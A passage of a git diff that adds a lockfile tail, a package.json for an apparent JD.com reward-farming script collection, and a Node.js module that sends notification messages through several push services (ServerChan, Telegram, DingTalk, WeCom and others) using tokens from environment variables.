"https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", + "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=", + "requires": { + "lowercase-keys": "^1.0.0" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "secure-compare": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/secure-compare/-/secure-compare-3.0.1.tgz", + "integrity": "sha1-8aAymzCLIh+uN7mXTz1XjQypmeM=" + }, + "seek-bzip": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/seek-bzip/-/seek-bzip-1.0.6.tgz", + "integrity": "sha512-e1QtP3YL5tWww8uKaOCQ18UxIT2laNBXHjV/S2WYCiK4udiv8lkG89KRIoCjUagnAmCBurjF4zEVX2ByBbnCjQ==", + "requires": { + "commander": "^2.8.1" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" + }, + "sort-keys": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz", + "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=", + "requires": { + "is-plain-obj": "^1.0.0" + } + }, + "sort-keys-length": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/sort-keys-length/-/sort-keys-length-1.0.1.tgz", + "integrity": "sha1-nLb09OnkgVWmqgZx7dM2/xR5oYg=", + "requires": { + "sort-keys": "^1.0.0" + } + }, + "sshpk": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz", + "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==", + "requires": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + } + }, + "strict-uri-encode": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", + "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=" + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "strip-dirs": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/strip-dirs/-/strip-dirs-2.1.0.tgz", + "integrity": "sha512-JOCxOeKLm2CAS73y/U4ZeZPTkE+gNVCzKt7Eox84Iej1LT/2pTWYpZKJuxwQpvX1LiZb1xokNR7RLfuBAa7T3g==", + "requires": { + "is-natural-number": "^4.0.1" + } + }, + "strip-outer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/strip-outer/-/strip-outer-1.0.1.tgz", + "integrity": "sha512-k55yxKHwaXnpYGsOzg4Vl8+tDrWylxDEpknGjhTiZB8dFRU5rTo9CAzeycivxV3s+zlTKwrs6WxMxR95n26kwg==", + "requires": { + "escape-string-regexp": "^1.0.2" + } + }, + "tar-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.6.2.tgz", + "integrity": "sha512-rzS0heiNf8Xn7/mpdSVVSMAWAoy9bfb1WOTYC78Z0UQKeKa/CWS8FOq0lKGNa8DWKAn9gxjCvMLYc5PGXYlK2A==", + "requires": { + "bl": "^1.0.0", + "buffer-alloc": "^1.2.0", + "end-of-stream": "^1.0.0", + "fs-constants": "^1.0.0", + "readable-stream": "^2.3.0", + "to-buffer": "^1.1.1", + "xtend": "^4.0.0" + } + }, + "through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" + }, + "timed-out": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/timed-out/-/timed-out-4.0.1.tgz", + "integrity": "sha1-8y6srFoXW+ol1/q1Zas+2HQe9W8=" + }, + "to-buffer": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.1.1.tgz", + "integrity": "sha512-lx9B5iv7msuFYE3dytT+KE5tap+rNYw+K4jVkb9R/asAb+pbBSM17jtunHplhBe6RRJdZx3Pn2Jph24O32mOVg==" + }, + "tough-cookie": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.0.0.tgz", + "integrity": "sha512-tHdtEpQCMrc1YLrMaqXXcj6AxhYi/xgit6mZu1+EDWUn+qhUf8wMQoFIy9NXuq23zAwtcB0t/MjACGR18pcRbg==", + "requires": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.1.2" + } + }, + "trim-repeated": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/trim-repeated/-/trim-repeated-1.0.0.tgz", + "integrity": "sha1-42RqLqTokTEr9+rObPsFOAvAHCE=", + "requires": { + "escape-string-regexp": "^1.0.2" + } + }, + "tunnel": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", + "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==" + }, + "tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", + "requires": { + "safe-buffer": "^5.0.1" + } + }, + "tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" + }, + "unbzip2-stream": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/unbzip2-stream/-/unbzip2-stream-1.4.3.tgz", + "integrity": "sha512-mlExGW4w71ebDJviH16lQLtZS32VKqsSfk80GCfUlwT/4/hNRFsoscrF/c++9xinkMzECL1uL9DDwXqFWkruPg==", + "requires": { + "buffer": "^5.2.1", + "through": "^2.3.8" + } + }, + "union": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/union/-/union-0.5.0.tgz", + "integrity": "sha512-N6uOhuW6zO95P3Mel2I2zMsbsanvvtgn6jVqJv4vbVcz/JN0OkL9suomjQGmWtxJQXOCqUJvquc1sMeNz/IwlA==", + "requires": { + "qs": "^6.4.0" + } + }, + "universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==" + }, + "uri-js": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.0.tgz", + "integrity": "sha512-B0yRTzYdUCCn9n+F4+Gh4yIDtMQcaJsmYBDsTSG8g/OejKBodLQ2IHfN3bM7jUsRXndopT7OIXWdYqc1fjmV6g==", + "requires": { + "punycode": "^2.1.0" + } + }, + "url-join": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/url-join/-/url-join-2.0.5.tgz", + "integrity": "sha1-WvIvGMBSoACkjXuCxenC4v7tpyg=" + }, + "url-parse-lax": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", + "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=", + "requires": { + "prepend-http": "^2.0.0" + } + }, + "url-to-options": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/url-to-options/-/url-to-options-1.0.1.tgz", + "integrity": "sha1-FQWgOiiaSMvXpDTvuu7FBV9WM6k=" + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" + }, + "verror": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", + "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", + "requires": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==" + }, + "yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", + "requires": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..9db6101 --- /dev/null +++ b/package.json @@ -0,0 +1,29 @@ +{ + "name": "LXK9301", + "version": "1.0.0", + "description": "{**When you're done, you can delete the content in this README and update the file with details for others getting started with your repository**}", + "main": "AlipayManor.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "repository": { + "type": "git", + "url": "https://github.com/LXK9301/jd_scripts.git" + }, + "keywords": [ + "京东薅羊毛工具, 京东水果、宠物、种豆等等" + ], + "author": "LXK9301", + "license": "ISC", + "dependencies": { + "crypto-js": "^4.0.0", + "download": "^8.0.0", + "got": "^11.5.1", + "http-server": "^0.12.3", + "qrcode-terminal": "^0.12.0", + "request": "^2.88.2", + "tough-cookie": "^4.0.0", + "tunnel": "0.0.6", + "ws": "^7.4.3" + } +} diff --git a/sendNotify.js b/sendNotify.js new file mode 100644 index 0000000..ae57411 --- /dev/null +++ b/sendNotify.js @@ -0,0 +1,708 @@ +/* + Last Modified time: 2021-4-3 16:00:54 + */ +/** + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本脚本免费使用 By:xxx` + * @returns {Promise} + */ +const querystring = require("querystring"); +const $ = new Env(); +const timeout = 15000;//超时时间(单位毫秒) +// =======================================微信server酱通知设置区域=========================================== +//此处填你申请的SCKEY. +//(环境变量名 PUSH_KEY) +let SCKEY = ''; + +// =======================================Bark App通知设置区域=========================================== +//此处填你BarkAPP的信息(IP/设备码,例如:https://api.day.app/XXXXXXXX) +let BARK_PUSH = ''; +//BARK app推送铃声,铃声列表去APP查看复制填写 +let BARK_SOUND = ''; + + +// =======================================telegram机器人通知设置区域=========================================== +//此处填你telegram bot 的Token,telegram机器人通知推送必填项.例如:1077xxx4424:AAFjv0FcqxxxxxxgEMGfi22B4yh15R5uw +//(环境变量名 TG_BOT_TOKEN) +let TG_BOT_TOKEN = ''; +//此处填你接收通知消息的telegram用户的id,telegram机器人通知推送必填项.例如:129xxx206 +//(环境变量名 TG_USER_ID) +let TG_USER_ID = ''; +//tg推送HTTP代理设置(不懂可忽略,telegram机器人通知推送功能中非必填) +let TG_PROXY_HOST = '';//例如:127.0.0.1(环境变量名:TG_PROXY_HOST) +let TG_PROXY_PORT = '';//例如:1080(环境变量名:TG_PROXY_PORT) +let TG_PROXY_AUTH = '';//tg代理配置认证参数 +//Telegram api自建的反向代理地址(不懂可忽略,telegram机器人通知推送功能中非必填),默认tg官方api(环境变量名:TG_API_HOST) +let TG_API_HOST = 'api.telegram.org' +// =======================================钉钉机器人通知设置区域=========================================== +//此处填你钉钉 bot 的webhook,例如:5a544165465465645d0f31dca676e7bd07415asdasd +//(环境变量名 DD_BOT_TOKEN) +let DD_BOT_TOKEN = ''; +//密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的字符串 +let DD_BOT_SECRET = ''; + +// =======================================企业微信机器人通知设置区域=========================================== +//此处填你企业微信机器人的 webhook(详见文档 https://work.weixin.qq.com/api/doc/90000/90136/91770),例如:693a91f6-7xxx-4bc4-97a0-0ec2sifa5aaa +//(环境变量名 QYWX_KEY) +let QYWX_KEY = ''; + +// =======================================企业微信应用消息通知设置区域=========================================== +/* +此处填你企业微信应用消息的值(详见文档 https://work.weixin.qq.com/api/doc/90000/90135/90236) +环境变量名 QYWX_AM依次填入 corpid,corpsecret,touser(注:多个成员ID使用|隔开),agentid,消息类型(选填,不填默认文本消息类型) +注意用,号隔开(英文输入法的逗号),例如:wwcff56746d9adwers,B-791548lnzXBE6_BWfxdf3kSTMJr9vFEPKAbh6WERQ,mingcheng,1000001,2COXgjH2UIfERF2zxrtUOKgQ9XklUqMdGSWLBoW_lSDAdafat +可选推送消息类型(推荐使用图文消息(mpnews)): +- 文本卡片消息: 0 (数字零) +- 文本消息: 1 (数字一) +- 图文消息(mpnews): 素材库图片id, 可查看此教程(http://note.youdao.com/s/HMiudGkb)或者(https://note.youdao.com/ynoteshare1/index.html?id=1a0c8aff284ad28cbd011b29b3ad0191&type=note) +*/ +let QYWX_AM = ''; + +// =======================================iGot聚合推送通知设置区域=========================================== +//此处填您iGot的信息(推送key,例如:https://push.hellyw.com/XXXXXXXX) +let IGOT_PUSH_KEY = ''; + +// =======================================push+设置区域======================================= +//官方文档:http://www.pushplus.plus/ +//PUSH_PLUS_TOKEN:微信扫码登录后一对一推送或一对多推送下面的token(您的Token),不提供PUSH_PLUS_USER则默认为一对一推送 +//PUSH_PLUS_USER: 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码,如果您是创建群组人。也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送) +let PUSH_PLUS_TOKEN = ''; +let PUSH_PLUS_USER = ''; + +//==========================云端环境变量的判断与接收========================= +if (process.env.PUSH_KEY) { + SCKEY = process.env.PUSH_KEY; +} + +if (process.env.QQ_SKEY) { + QQ_SKEY = process.env.QQ_SKEY; +} + +if (process.env.QQ_MODE) { + QQ_MODE = process.env.QQ_MODE; +} + + +if (process.env.BARK_PUSH) { + if(process.env.BARK_PUSH.indexOf('https') > -1 || process.env.BARK_PUSH.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH}` + } + if (process.env.BARK_SOUND) { + BARK_SOUND = process.env.BARK_SOUND + } +} else { + if(BARK_PUSH && BARK_PUSH.indexOf('https') === -1 && BARK_PUSH.indexOf('http') === -1) { + //兼容BARK本地用户只填写设备码的情况 + BARK_PUSH = `https://api.day.app/${BARK_PUSH}` + } +} +if (process.env.TG_BOT_TOKEN) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN; +} +if (process.env.TG_USER_ID) { + TG_USER_ID = process.env.TG_USER_ID; +} +if (process.env.TG_PROXY_AUTH) TG_PROXY_AUTH = process.env.TG_PROXY_AUTH; +if (process.env.TG_PROXY_HOST) TG_PROXY_HOST = process.env.TG_PROXY_HOST; +if (process.env.TG_PROXY_PORT) TG_PROXY_PORT = process.env.TG_PROXY_PORT; +if (process.env.TG_API_HOST) TG_API_HOST = process.env.TG_API_HOST; + +if (process.env.DD_BOT_TOKEN) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN; + if (process.env.DD_BOT_SECRET) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET; + } +} + +if (process.env.QYWX_KEY) { + QYWX_KEY = process.env.QYWX_KEY; +} + +if (process.env.QYWX_AM) { + QYWX_AM = process.env.QYWX_AM; +} + +if (process.env.IGOT_PUSH_KEY) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY +} + +if (process.env.PUSH_PLUS_TOKEN) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN; +} +if (process.env.PUSH_PLUS_USER) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER; +} +//==========================云端环境变量的判断与接收========================= + +/** + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本脚本免费使用 By:xxxx` + * @returns {Promise} + */ +async function sendNotify(text, desp, params = {}, author = '\n\n仅供用于学习') { + //提供6种通知 + desp += author;//增加作者信息,防止被贩卖等 + await Promise.all([ + serverNotify(text, desp),//微信server酱 + pushPlusNotify(text, desp)//pushplus(推送加) + ]) + //由于上述两种微信通知需点击进去才能查看到详情,故text(标题内容)携带了账号序号以及昵称信息,方便不点击也可知道是哪个京东哪个活动 + text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text; + await Promise.all([ + BarkNotify(text, desp, params),//iOS Bark APP + tgBotNotify(text, desp),//telegram 机器人 + ddBotNotify(text, desp),//钉钉机器人 + qywxBotNotify(text, desp), //企业微信机器人 + qywxamNotify(text, desp), //企业微信应用消息推送 + iGotNotify(text, desp, params),//iGot + //CoolPush(text, desp)//QQ酷推 + ]) +} + +function serverNotify(text, desp, time = 2100) { + return new Promise(resolve => { + if (SCKEY) { + //微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换 + desp = desp.replace(/[\n\r]/g, '\n\n'); + const options = { + url: SCKEY.includes('SCT') ? `https://sctapi.ftqq.com/${SCKEY}.send` : `https://sc.ftqq.com/${SCKEY}.send`, + body: `text=${text}&desp=${desp}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded' + }, + timeout + } + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + //server酱和Server酱·Turbo版的返回json格式不太一样 + if (data.errno === 0 || data.data.errno === 0 ) { + console.log('server酱发送通知消息成功🎉\n') + } else if (data.errno === 1024) { + // 一分钟内发送相同的内容会触发 + console.log(`server酱发送通知消息异常: ${data.errmsg}\n`) + } else { + console.log(`server酱发送通知消息异常\n${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, time) + } else { + console.log('\n\n您未提供server酱的SCKEY,取消微信推送消息通知🚫\n'); + resolve() + } + }) +} + +function CoolPush(text, desp) { + return new Promise(resolve => { + if (QQ_SKEY) { + let options = { + url: `https://push.xuthus.cc/${QQ_MODE}/${QQ_SKEY}`, + headers: { + 'Content-Type': 'application/json' + } + } + + // 已知敏感词 + text = text.replace(/京豆/g, "豆豆"); + desp = desp.replace(/京豆/g, ""); + desp = desp.replace(/🐶/g, ""); + desp = desp.replace(/红包/g, "H包"); + + switch (QQ_MODE) { + case "email": + options.json = { + "t": text, + "c": desp, + }; + break; + default: + options.body = `${text}\n\n${desp}`; + } + + let pushMode = function(t) { + switch (t){ + case "send": + return "个人"; + case "group": + return "QQ群"; + case "wx": + return "微信"; + case "ww": + return "企业微信"; + case "email": + return "邮件"; + default: + return "未知方式" + } + } + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`发送${pushMode(QQ_MODE)}通知调用API失败!!\n`) + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`酷推发送${pushMode(QQ_MODE)}通知消息成功🎉\n`) + } else if (data.code === 400) { + console.log(`QQ酷推(Cool Push)发送${pushMode(QQ_MODE)}推送失败:${data.msg}\n`) + } else if (data.code === 503) { + console.log(`QQ酷推出错,${data.message}:${data.data}\n`) + }else{ + console.log(`酷推推送异常: ${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + console.log('您未提供酷推的SKEY,取消QQ推送消息通知🚫\n'); + resolve() + } + }) +} + +function BarkNotify(text, desp, params={}) { + return new Promise(resolve => { + if (BARK_PUSH) { + const options = { + url: `${BARK_PUSH}/${encodeURIComponent(text)}/${encodeURIComponent(desp)}?sound=${BARK_SOUND}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded' + }, + timeout + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log('Bark APP发送通知调用API失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log('Bark APP发送通知消息成功🎉\n') + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + } else { + console.log('您未提供Bark的APP推送BARK_PUSH,取消Bark推送消息通知🚫\n'); + resolve() + } + }) +} + +function tgBotNotify(text, desp) { + return new Promise(resolve => { + if (TG_BOT_TOKEN && TG_USER_ID) { + const options = { + url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + body: `chat_id=${TG_USER_ID}&text=${text}\n\n${desp}&disable_web_page_preview=true`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded' + }, + timeout + } + if (TG_PROXY_HOST && TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: TG_PROXY_HOST, + port: TG_PROXY_PORT * 1, + proxyAuth: TG_PROXY_AUTH + } + }) + } + Object.assign(options, { agent }) + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('telegram发送通知消息失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + if (data.ok) { + console.log('Telegram发送通知消息成功🎉。\n') + } else if (data.error_code === 400) { + console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n') + } else if (data.error_code === 401){ + console.log('Telegram bot token 填写错误。\n') + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + console.log('您未提供telegram机器人推送所需的TG_BOT_TOKEN和TG_USER_ID,取消telegram推送消息通知🚫\n'); + resolve() + } + }) +} +function ddBotNotify(text, desp) { + return new Promise(resolve => { + const options = { + url: `https://oapi.dingtalk.com/robot/send?access_token=${DD_BOT_TOKEN}`, + json: { + "msgtype": "text", + "text": { + "content": ` ${text}\n\n${desp}` + } + }, + headers: { + 'Content-Type': 'application/json' + }, + timeout + } + if (DD_BOT_TOKEN && DD_BOT_SECRET) { + const crypto = require('crypto'); + const dateNow = Date.now(); + const hmac = crypto.createHmac('sha256', DD_BOT_SECRET); + hmac.update(`${dateNow}\n${DD_BOT_SECRET}`); + const result = encodeURIComponent(hmac.digest('base64')); + options.url = `${options.url}×tamp=${dateNow}&sign=${result}`; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息成功🎉。\n') + } else { + console.log(`${data.errmsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else if (DD_BOT_TOKEN) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息完成。\n') + } else { + console.log(`${data.errmsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + console.log('您未提供钉钉机器人推送所需的DD_BOT_TOKEN或者DD_BOT_SECRET,取消钉钉推送消息通知🚫\n'); + resolve() + } + }) +} + +function qywxBotNotify(text, desp) { + return new Promise(resolve => { + const options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout + }; + if (QYWX_KEY) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('企业微信发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('企业微信发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + console.log('您未提供企业微信机器人推送所需的QYWX_KEY,取消企业微信推送消息通知🚫\n'); + resolve(); + } + }); +} + +function ChangeUserId(desp) { + const QYWX_AM_AY = QYWX_AM.split(','); + if (QYWX_AM_AY[2]) { + const userIdTmp = QYWX_AM_AY[2].split("|"); + let userId = ""; + for (let i = 0; i < userIdTmp.length; i++) { + const count = "账号" + (i + 1); + const count2 = "签到号 " + (i + 1); + if (desp.match(count2)) { + userId = userIdTmp[i]; + } + } + if (!userId) userId = QYWX_AM_AY[2]; + return userId; + } else { + return "@all"; + } +} + +function qywxamNotify(text, desp) { + return new Promise(resolve => { + if (QYWX_AM) { + const QYWX_AM_AY = QYWX_AM.split(','); + const options_accesstoken = { + url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`, + json: { + corpid: `${QYWX_AM_AY[0]}`, + corpsecret: `${QYWX_AM_AY[1]}`, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout + }; + $.post(options_accesstoken, (err, resp, data) => { + html = desp.replace(/\n/g, "
") + var json = JSON.parse(data); + accesstoken = json.access_token; + let options; + + switch (QYWX_AM_AY[4]) { + case '0': + options = { + msgtype: 'textcard', + textcard: { + title: `${text}`, + description: `${desp}`, + url: '', + btntxt: '更多' + } + } + break; + + case '1': + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}` + } + } + break; + + default: + options = { + msgtype: 'mpnews', + mpnews: { + articles: [ + { + title: `${text}`, + thumb_media_id: `${QYWX_AM_AY[4]}`, + author: `智能助手`, + content_source_url: ``, + content: `${html}`, + digest: `${desp}` + } + ] + } + } + }; + if (!QYWX_AM_AY[4]) { + //如不提供第四个参数,则默认进行文本消息类型推送 + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}` + } + } + } + options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accesstoken}`, + json: { + touser: `${ChangeUserId(desp)}`, + agentid: `${QYWX_AM_AY[3]}`, + safe: '0', + ...options + }, + headers: { + 'Content-Type': 'application/json', + }, + } + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); + } else { + console.log('您未提供企业微信应用消息推送所需的QYWX_AM,取消企业微信应用消息推送消息通知🚫\n'); + resolve(); + } + }); +} + +function iGotNotify(text, desp, params={}){ + return new Promise(resolve => { + if (IGOT_PUSH_KEY) { + // 校验传入的IGOT_PUSH_KEY是否有效 + const IGOT_PUSH_KEY_REGX = new RegExp("^[a-zA-Z0-9]{24}$") + if(!IGOT_PUSH_KEY_REGX.test(IGOT_PUSH_KEY)) { + console.log('您所提供的IGOT_PUSH_KEY无效\n') + resolve() + return + } + const options = { + url: `https://push.hellyw.com/${IGOT_PUSH_KEY.toLowerCase()}`, + body: `title=${text}&content=${desp}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded' + }, + timeout + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n') + console.log(err); + } else { + if(typeof data === 'string') data = JSON.parse(data); + if (data.ret === 0) { + console.log('iGot发送通知消息成功🎉\n') + } else { + console.log(`iGot发送通知消息失败:${data.errMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + console.log('您未提供iGot的推送IGOT_PUSH_KEY,取消iGot推送消息通知🚫\n'); + resolve() + } + }) +} + +function pushPlusNotify(text, desp) { + return new Promise(resolve => { + if (PUSH_PLUS_TOKEN) { + desp = desp.replace(/[\n\r]/g, '
